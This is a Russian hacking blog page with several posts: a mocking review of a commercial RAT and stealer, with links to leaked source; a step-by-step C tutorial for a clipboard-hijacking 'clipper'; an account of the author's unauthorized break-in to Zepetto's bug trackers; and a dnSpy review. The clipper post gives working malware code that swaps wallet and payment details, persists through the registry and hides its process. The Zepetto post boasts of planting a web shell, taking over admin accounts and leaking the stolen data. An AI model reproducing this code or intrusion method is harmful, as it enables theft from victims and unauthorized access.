Блог Лисовского

Хакинг, реверс-инжиниринг, анализ малвари

Ботнет URI от Alinchok (Dendimirror) или как продать воздух

До последнего откладывал разбор этого около-паблика за, мать его, 20 000 рублей.

Ну вот не хотелось мне лезть в это и все, но сегодня мне переслали следующее:

[Forwarded from Dendimirror [Писать @Alinchok по установке бота]]
Низкосортная малварь...эх, а я помню, как он ещё что-то мне говорил, что я гавнокодер

Сори, бомбануло. Мало того, что человек не вник в текст поста и не понял, что речь шла о том, что отсутствие сохранения паролей в Thanatos малварьхантеры посчитали багом, так еще и на полном серьезе считает себя чуть ли не богом C#. Начинаем спускать с небес нашу пташку.

Этап первый — разбор продажника

Давайте для начала вчитаемся в то, что нам расписывает селлер этого «замечательного» продукта.

— *Автозагрузка (уникальный метод)*
Вот это достоинство, наконец то C#-кодеры научились пользоваться планировщиком задач

Настолько «уникальный» метод, что наш бог C#-кодинга не додумался запускать сразу schtasks и передавать готовые параметры — он с собой еще и cmd.exe тащит.

— *Скрытие от таких диспетчеров задач: (Стандартный, ProcessHacker, ProcessMonitor, PcHunter)*
Всё, что вам нужно знать — все без исключения «кодеры» на СНГ рынке (опять таки, не считая exploit’а) проверяют наличие диспетчеров задач с помощью ИМЕНИ, СУКА, ПРОЦЕССА среди запущенных процессов. Недобот дендика — не исключение.

— *Отправка файлов конкретному компьютеру и запуск этого файла*
— *Отправка файлов всем ботам, которые находятся онлайн и запуск этого файла*
— *Отправка файлов всем ботам из конкретной страны*
По факту это стандартный функционал лоадера, который еще и лагает — заливали установки через это «чудо» — периодически приходили повторы, причем из 100 их могло достигать 15-20. Ай-ай-ай, дендик.

— *Удаленное управление процессами на компьютере бота*
Учитывая, что байпасить UAC дендик все еще не научился, юзлес функция.

— *Получение сетевой информации о боте (ip, страна , город, область)*
Реализовано через сторонний сервис — ipinfo.io — заслуги кодера тут совершенно никакой. Написать на шарпе ридер json — ох, как же это ТЯЖЕЛО.

— *Обход проактивной защиты*
Ложь, в коде нет НИ-ЧЕ-ГО даже намекающего на попытки обойти антивирусные решения.

— *Выполнение удалённо на компьютере жертвы C#-команд, VB-скриптов, PowerShell-команд, BAT-файлов*
Опять таки, бесполезная вещь — не представляю себе сценария, в котором мне понадобилось бы выполнять C#-КОМАНДЫ(что вообще имел ввиду алинчок, когда писал это) или vb/ps/bat скрипты на машине, если у меня есть возможность залить на неё бинарник.

— *Кража Логинов и Паролей с 8 браузеров — СТИЛЛЕР*
Теперь в URI встроен тот самый легендарный стиллер
За полгода в этом недостиллере ничего не поменялось — он все так же стилит данные только из дефолтных учеток браузера:

Подробнее о разборе этого «стиллера» вы можете прочитать по ссылке: https://foxovsky.ru/all/analiz-raboty-stillera-ot-dendimirror-alinchok/

— *Кража Bitcoin-файлов с сервисов Bitcoin, Litecoin (wallet.dat)*
Собирает только по стандартным путям и имени wallet.dat. Гениально, денди, это достойно звания «лучший кодер c#».

— *Run Silient app(true)*
Скопировал с какого то другого продажника, решил не переводить даже, ибо не знает что написал. Опять таки, в коде нету даже намека на канон silient app.

Если вы до сюда дочитали и хотя бы немного разбираетесь в популярных C# open source малварях, то уже поняли, что мы имеем дело с переписанным QuasarRAT, хотя дендик это отрицает.

Этап второй — слив исходников

На этот раз я даже не буду расписывать, что через что нужно прогнать, чтобы из билда, который выдает дендик, можно было получить чистенький билд, который легко разбирается dootpeek’ом. Я правда надеялся, что за полгода этот «бог c# кодинга» хотя бы чуть-чуть поднимет свои навыки в разработке — сменит среду на C++ хотя бы. Но нет, зачем стараться, если есть контакты с админами(которые потрут все недовольные отзывы) и в .NET Framework’е все идет из коробки — просто напиши что и как должно себя вести. Я даже не хочу придираться к коду — в нем ничего с моего августвоского разбора их ТОПОВОГО(нет) СТИЛЛЕРА не изменилось. Просто держите исходники и, если вы владелец этого ПРОДУКТА, можете бежать накатывать блеки и просить манибек.

Исходники доступны по ссылке: https://github.com/foxovsky/Dendimirror_URI

26 сентября   Реверс

Пишем простой клиппер (Buffer Changer) на чистом C

Оказывается, это может быть кому-то интересно, да.

Сегодня мы напишем так называемый клиппер — незамысловатую малварь, которая будет сканировать буфер обмена на предмет различных кошельков и заменять их на нужные при необходимости.

Наш вирус будет уметь находить и подменять:

  1. Кошельки Monero, генерируемые биржей Poloniex
  2. Счета Яндекс.Деньги
  3. Номера в зоне RU (+7)

Заранее оговорюсь, что писать мы будем без излишнего мучения с регулярными выражениями и что код достаточно сырой.

Настройки проекта в Visual Studio

Писать мы будем на Си, а не на плюсах, поэтому настроить проект нужно соответствующе.

Ниже приведены настройки, которые в свое время я увидел на античате (линк), выражаю благодарность автору — slesh.

Свойства конфигурации -> С/С++ -> Оптимизация

  1. Оптимизация — Наименьший размер (/O1)
  2. Развертывать подставляемые функции — По умолчанию
  3. Включить подставляемые функции — Нет
  4. Предпочитать размер или краткость кода — Предпочитать краткость кода (/Os)
  5. Оптимизация всей программы — Включить создание кода во время компоновки (/GL)

Свойства конфигурации -> С/С++ -> Создание кода

  1. Включить объединение строк — Да (/GF)
  2. Включить С++ исключения — Нет
  3. Библиотека времени выполнения — Многопоточная (/MT)
  4. Проверка переполнения буфера — Нет (/GS-)

Свойства конфигурации -> С/С++ -> Предварительно скомпилированные заголовки

  1. Создавать или использовать предварительно скомпилированные заголовки — Не использовать предварительно скомпилированные заголовки

Свойства конфигурации -> С/С++ -> Дополнительно

  1. Компилировать как — Компилировать как C код (/TC)

Свойства конфигурации -> Компоновщик

  1. Ввод ->Игнорировать все стандартные библиотеки — Да (/NODEFAULTLIB)
  2. Файл манифеста ->Создавать Манифест — Нет
  3. Отладка -> Создавать отладочную информацию — Нет
  4. Дополнительно -> Точка входа — тут прописываем имя функции для точки входа
  5. Дополнительно -> Внесение случайности в базовый адрес — Отключить внесение случайности в образ (/DYNAMICBASE:NO)
  6. Дополнительно -> Фиксированный базовый адрес — Образ должен быть загружен по фиксированному адресу (/FIXED)

Входная точка приложения

Тут начинается наше приложение, для удобства используем WinMain — это входная точка WinApi приложений. Отрисовывать формы мы не будем, поэтому никакой визуальной активности не будет.

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    if (isFileExists("C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe"))
    {
        if (strcmp(GetFullPath(), "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe") == 0)
        {
            Mnemosyne();
        }
        else
        {
            ExitProcess(0);
        }
    }
    else
    {
        Install();
    }

ExitProcess(0);
}

Следующий код проверяет существование файла C:\ProgramData\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\snmptrap.exe (путь к нашему вирусу на зараженной машине) — если путь запущенного EXE совпадает с рабочей директорией вируса, то запускается функция Mnemosyne (отвечающая за листинг и замену значений в буфере), иначе производится установка бота в систему.

Установка бота в систему

void Install()
{
    char thisExe[MAX_PATH] = "";

    CreateDirectory("C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}", NULL);
    GetModuleFileName(NULL, thisExe, MAX_PATH);
    CopyFile(thisExe, "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe", TRUE);

    SetCurrentDirectory("C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}");
    ShellExecute(NULL, 0, "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe", "", 0, SW_HIDE);
}

Функция создает рабочую директорию по пути C:\ProgramData\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}, копирует в неё запущенный EXE под именем snmptrap.exe и запускает скопированный файл.

Основной код программы

Именно тут мы осуществляем наши манипуляции с буфером обмена.

void Mnemosyne()
{
    HANDLE clip;
    char* pch;
    char* phone;
	
    DenyAccessToPId(GetCurrentProcessId()); // Запрещаем доступ к нашему процессу

    RegAdd(); // Добавляем в автозагрузку каждый раз при запуске, вдруг нас удалили

    while (TRUE)// выполняем в бесконечном цикле
    {
        // Получаем содержимое буфера обмена
        if (OpenClipboard(NULL)) 
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }

        pch = strstr(clip, "4JUdGzvrMFDWrUUwY3toJATSeNwjn54Lk"); // проверяем буфер обмена на Monero Poloniex кошелек - он всегда начинается с этого значения

        if (strlen(clip) == 15)
        {
            // если длина буфера 15 символов, то, возможно, это яндекс.деньги
            ChangeClipboard(_yandex_money(), strlen(_yandex_money()));
        }

        if (strlen(clip) == 12)
        {
            // если длина буфера 12 символов...
            phone = strstr(clip, "+79"); // RU phones

            if (phone) // ... и начинается с +79...  
            {
                ChangeClipboard(_phone(), strlen(_phone()));// ... то, возможно, это мобильный номер
            }
        }

        if (pch)
        {
            ChangeClipboard(_monero_poloniex(), strlen(_monero_poloniex()));// опознали Monero Poloniex, подменяем
        }

        Sleep(1000);// ждем 1 секунду и повторяем цикл
    }
}

Вспомогательные функции

char* _monero_poloniex()
{
    return "test";
}

char* _yandex_money()
{
    return "111111111111111";
}

char* _phone()
{
    return "+79111111111";
}

BOOL isFileExists(LPCTSTR szPath)
{
    DWORD dwAttrib = GetFileAttributes(szPath);
    return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

char* GetFullPath()
{
    wchar_t buffer[MAX_PATH];
    GetModuleFileName(NULL, buffer, MAX_PATH);

    return buffer;
}

void DenyAccessToPId(DWORD pId)
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL);
    SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor);
}

void ChangeClipboard(wchar_t*str, int n)
{
    size_t len, i;
    HGLOBAL hMem;
    UINT uFormat;
    len = (n + 1)*(sizeof(wchar_t));
    hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), str, len);
    GlobalUnlock(hMem);
    OpenClipboard(0);
    EmptyClipboard();
    uFormat = CF_TEXT;
    SetClipboardData(uFormat, hMem);
    CloseClipboard();
}

void RegAdd()
{
    HKEY hkey;

    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
    RegSetValueEx(hkey, "Windows_Antimalware_Host_Syst", 0, REG_SZ, "C:\\ProgramData\\{95B4F0ED-951F-4D36-B068-5EC1C4C19C14}\\snmptrap.exe", 70);
    RegCloseKey(hkey);
}

Пробежимся по этим функциям:
_monero_poloniex — переменная, в которой будет храниться кошелек Monero, на который мы будем подменять найденное значение
_yandex_money — аналогично _monero_poloniex, но для Яндекс.Денег
_phone — номер, на который будем подменять найденное значение
isFileExists — функция, проверяющая существование файла в системе
GetFullPath — возвращает полный путь к запущенному процессу
DenyAccessToPId — изменяет DACL процесса для ограничения к нему доступа (актуально для Windows 7)
ChangeClipboard — изменяет значение буфера обмена
RegAdd — прописывает автозагрузку вируса в реестре в ветке HKCU

Ссылки

Исходный код
Уменьшение размера Си программы на примере Visual Studio

Анализ работы стиллера от Dendimirror (Alinchok)

Недавно мне перепал семпл инфостиллера, продающегося на андеграундных СНГ форумах с ценником в 3000 рублей. Грех было не разобраться, что да как тут работает.

Первичный анализ

Вес: 36.5 KB
Хеш SHA1: 96b8f20a7aeb3cc4773ebcc0e34d22e671749002899b1fe64939a28e230d131e

Зная СНГшных кодеров, первым делом я полез проверять удачу попыткой открыть билд в dotPeek’е и я ни капли не удивился, когда тот разобрал по-полочкам даже не обфусцированный толком (sic!) код:

#Разбор тела
В билде используется встроенный компилятор .NET, который компилирует вложенный код (который запакован, кстати, в base64):

Взяв самую длинную строку и дважды прогнав через онлайн-декодер base64, был получен код лоадера (логин владельца копии стиллера пришлось прикрыть):

Разбор лоадера

Почему лоадера? Всё просто — малварь авторизовывается на удаленном сервере, получает в ответ код самого стиллера (без обфускации!) и компилирует его уже известным нам System.CodeDom.Compiler. Собираем из декодированного кода проект и отправляемся в Visual Studio.

Достаем код стиллера

Для следующего шага я создал новый проект C# Console Application и скопировал вытащенный из base64 код лоадера.

Сколько нужно лампочек строчек, чтобы выгрузить код самого стиллера с сервера? Столько (не бейте, я давно не писал на C#):

исходный код инфостиллера за 3к, вы восхитительны! Шутка, еще не конец.

Анализ кода стиллера

Если вы думаете, что на этом выгрузка файлов с сервера завершена, то вы ошибаетесь.

На этот раз нас ждет подгрузка рабочих DLL. Режем весь код стиллера и оставляем только саму загрузку необходимых файлов:

Получаем следующие файлы:

Идем в наш любимый DotPeek и декомпилим Decrypt.dll:

А вот теперь мы слили код стиллера.

Итог

Вот такую низкосортную малварь продают в наше время — не зная ровным счетом ничего об этом стиллере, буквально за пару минут был получен исходный код. В самом коде ничего занимательного не нашел — стилить данные из браузеров можно куда более простым путем. Моя субъективная оценка: троечка по десятибальной.

Ссылки

Исходный код билда, лоадера и стиллера на GitHub: Dendimirror_Stealer

2017   Реверс

Запретный плод сладок — вышедший из под контроля пентест Zepetto

Ох, сколько вещей связывают меня с такой корейской компанией, как Zepetto. Я потратил несколько лет своей жизни на разбор одного из их продуктов — MMO FPS Point Blank. Пусть я уже и забросил разработку эмулятора сервера под эту игру, пару месяцев назад желание узнать побольше об внутренней кухне разработчиков этого «чуда» взяло верх и я не удержался.

Этап первый — разведка

Для начала я принялся собирать сведения о машинах компании. Сделать это было проще простого — оказалось достаточным проанализировать подсеть сервера, на котором располагался основной сайт Zepetto (zepetto.com). В подсети был обнаружен интересный ресурс — баг-трекер на основе Tiki Wiki, причем очень старой версии.

Этап второй — проникновение

Немного пошаманив со страницами был найден уязвимый компонент — elFinder. Если коротко, то этот файловый менеджер позволяет загружать файлы неавторизованным пользователям, достаточно просто зайти в его директорию: vendor_extra/elfinder/elfinder.html

Кстати, на exploit-db опубликован готовый эксплоит.

Шелл (c99) был успешно залит на сервер и на этом можно было бы закончить рассказ, но интерес взял своё.

После получения доступа к базе данных была скомпрометирована учетная запись администратора (admin), что дало доступ к огромному количеству корпоративных сведений — данные сотрудников (имена, почтовые адреса, ip-адреса, etc), бухгалтерские отчеты за несколько лет, множество документов к разрабатываемым продуктам, учетные данные на сторонних ресурсах.

И вроде как останавливайся, дядь, уже успех. Но ведь интересно что ещё можно накопать!

В процессе изучения трекера были найдены ссылки на сторонние ресурсы, а именно:

http://tiki.kloud-io.com
http://redmine.san-games.com

По первой ссылке был доступен другой баг-трекер с аналогичной уязвимостью, поэтому права администратора были получены в течении пары секунд. По второй же ссылке располагается трекер, предположительно, мобильного подразделения Zepetto, ответственный за разработку мобильных игр и приложений.

Получить доступ было ещё проще — среди документов из первого трекера быстро был найден почтовый ящик на gmail, принадлежащий администратору redmine.san-games.com:

Не составило труда просто восстановить учетную запись, установив свой пароль.

Получив доступ к трем баг-трекерам передо мной открылась исчерпывающая информация как о компании, так и о её продутках. К примеру, тысячи репортов о Point Blank.

Этап третий — попытка установить контакт с Zepetto

После поверхностного изучения репортов я принял решение связаться с Zepetto для того, чтобы передать данные об уязвимостях. Мною был отправлен развернутый репорт на несколько почтовых аккаунтов, на которые были зарегистрированы админ-аккаунты на трекерах.

Никакого ответа я не получил, но через пару дней администратор попытался восстановить свою учетную запись, привязанную к моей почте:

После осознания того, что восстановить штатными методами у него ничего не получится, ресурсы были спрятаны за файрвол. Подождав ещё пару дней я продублировал сообщения, но ответа всё равно не поступило.

Слив заполученных утилит, документов и аккаунтов

Спустя почти четыре месяца без ответа я решил опубликовать полезную информацию по игре Point Blank в своем репозитории эмулятора сервера на GitHub. Раз для Zepetto эти файлы не представляют ценности, пусть хоть энтузиасты ознакомятся.

Возможно, я поступил неправильно, зашарив эту информацию. Но мне просто не хватало места на облаке ¯\_(ツ)_/¯

2017   Хакинг

dnSpy — лучшая утилита для обратной разработки .NET приложений

Внезапный пост.

Долгое время я использовал dotPeek от JetBrains для декомпиляции .NET приложений.
К этому декомпилеру у меня была одна претензия — ну очень долгая загрузка и не лучшая оптимизация, поскольку на моих 8GB DDR3 и процессоре AMD A10 6700 это дело запускалось долго и нудно, не говоря уже о непосредственно декомпиляции программ.

Но, уходить было некуда, поэтому довольствовался тем, что имел, так сказать.

Однако, буквально сегодня утром наткнулся на просторах гитхаба на интересный репозиторий — dnSpy и оказалось, это то, что мне нужно!
Просто идеальная утилита для обратной разработки и тестирования .NET приложений.

Собственно, dotPeek:

А это найденное мною чудо — dnSpy:

Дизайн глазу приятнее, оптимизация на уровне(грузит в разы быстрее dotPeek’а).
И на этом прелести не заканчиваются.

dnSpy позволяет работать с PE-заголовками исполняемых файлов, показывает токены и офсеты каждой функции непосредственно в коде(!), так еще и декомпилирует код на порядок лучше dotPeek’а.

Яркий пример:
Как декомпилировал класс dotPeek:

Как с этим справился dnSpy:

И какой был код в исходном коде приложения:

Заключение

Для всех тех, кто ищет .NET декомпилятор и дебаггер в одном флаконе — однозначно советую dnSpy.
Мало того, что это ПО с открытым исходным кодом, так еще и работает получше коммерческого аналога.

Ранее Ctrl + ↓